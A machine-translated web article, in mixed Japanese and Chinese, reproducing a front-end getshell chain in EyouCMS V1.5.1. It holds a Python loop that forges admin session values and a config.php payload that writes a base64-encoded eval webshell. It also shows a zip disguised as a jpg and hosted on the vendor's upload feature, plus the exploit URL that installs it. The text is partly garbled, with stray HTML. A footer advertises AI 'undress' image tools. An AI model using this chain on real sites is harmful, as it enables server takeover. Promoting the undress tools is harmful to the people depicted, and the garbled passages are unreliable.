検索
ホームページ運用・保守安全性EyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法

0x00 脆弱性の紹介

Zanzan Network Technology EyouCMS (EyouCMS) は、中国 Zanzan Network Technology Company System ( CMS)。

Eyoucms v1.5.1 およびそれ以前のバージョンには、任意のユーザー バックグラウンド ログインとファイル インクルードの脆弱性があります。この脆弱性により、攻撃者は API を呼び出して管理者のセッションをフォアグラウンドに設定し、バックグラウンドでリモート プラグイン ダウンロード ファイルをダウンロードすることができます。 getshell が含まれています。

#0x01 影響を受けるバージョン

EyouCMS

0x02 環境セットアップ

ダウンロード

公式 Web サイト ダウンロード バージョン V1.5.1
ダウンロード リンク: https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

インストール

phpstudy 統合環境による簡単な導入

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

##0x03 脆弱性分析

##フロントデスクで application/api/controller に管理者セッションを設定します/Ajax.php :215

##get_token如何进行EyouCMS V1.5.1 前台getshell漏洞复现

関数はフロント デスクが自由に呼び出すことができ、#仮パラメータの ##$name

変数も http 経由で渡されます。以下の図に示すように、トークン関数を追跡します。

ハイライト部分にセッションを設定する操作があり、名前は制御可能、値はリクエストのタイムスタンプmd5の値です。制御できません。

このセッション設定操作を通じて、バックグラウンド管理者のセッションの構築を試みることができます。次に、バックグラウンド管理者のログイン ロジックを整理します。 application/admin/controller/Base.php:54
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

では、admin_login_expire と admin_id

if (session('?admin_id') && getTime() - intval($admin_login_expire) <br><img src="/static/imghwm/default1.png" data-src="https://img.php.cn/upload/article/000/000/164/168458488287383.jpg?x-oss-process=image/resize,p_40" class="lazy" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">admin_login_expire<p> # の 2 つのセッションが関係しています。 ## (このセッションは減算検証を実行し、特定の条件を満たす必要があります) </p><p><code>admin_id</code></p><p> (このセッションは存在するだけでよく、その値は)</p>これら 2 つのセッションを設定した後も、if 条件の判定に <p><code></code>check_priv</p><p><br> 関数があることがわかります。 </p><p><code><pre class="brush:php;toolbar:false">if (0 >= intval(session('admin_info.role_id')))

admin_info.role_id


如何进行EyouCMS V1.5.1 前台getshell漏洞复现(0 以下であれば十分です)

After 3 つのセッションをセットアップすると、バックグラウンドに入ることができます。図に示すように:

バックグラウンド リモート プラグイン ダウンロードの getshell は、application/admin/controller/Weapp の $url を渡します。 .php:1235



. 次に、ホストが eyoucms.com である必要がある URL 解析を実行します。 如何进行EyouCMS V1.5.1 前台getshell漏洞复现つまり、プログラムは公式 Web サイトからのプラグインのダウンロードとインストールに制限されていますが、この検証は単純すぎるためバイパスできる可能性があります。

次に、ダウンロード リンクを要求し、それを解凍し、config.php をインクルードします。

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

後から行うプラグイン標準の判定は機能しなくなります。


0x04 脆弱性の悪用如何进行EyouCMS V1.5.1 前台getshell漏洞复现

フロント デスクで管理者セッションを設定する

まず、ログインに成功した後の管理者セッションと、ログインに成功した一般ユーザー セッションを削除します。ログインしていません 比較用

管理者:

一般ユーザー:


如何进行EyouCMS V1.5.1 前台getshell漏洞复现get_token 関数を呼び出して、admin_login_expire という名前のセッションを設定します


如何进行EyouCMS V1.5.1 前台getshell漏洞复现通常ユーザーのセッションが正常にセットアップされていることを確認してください。

同様に、admin_id と admin_info.roke_id を追加できます。


しかし、如何进行EyouCMS V1.5.1 前台getshell漏洞复现この md5 文字列は明らかに脆弱性分析の要件を満たしていないため、適切な md5 値が見つかるまでセッションはスクリプトによって常に更新されます

while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])

実行結果:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php   file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

以上がEyouCMS V1.5.1 フロントエンド getshell 脆弱性を再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事は亿速云で複製されています。侵害がある場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

Dreamweaver Mac版

Dreamweaver Mac版

ビジュアル Web 開発ツール

PhpStorm Mac バージョン

PhpStorm Mac バージョン

最新(2018.2.1)のプロフェッショナル向けPHP統合開発ツール

SublimeText3 英語版

SublimeText3 英語版

推奨: Win バージョン、コードプロンプトをサポート!

DVWA

DVWA

Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、

mPDF

mPDF

mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。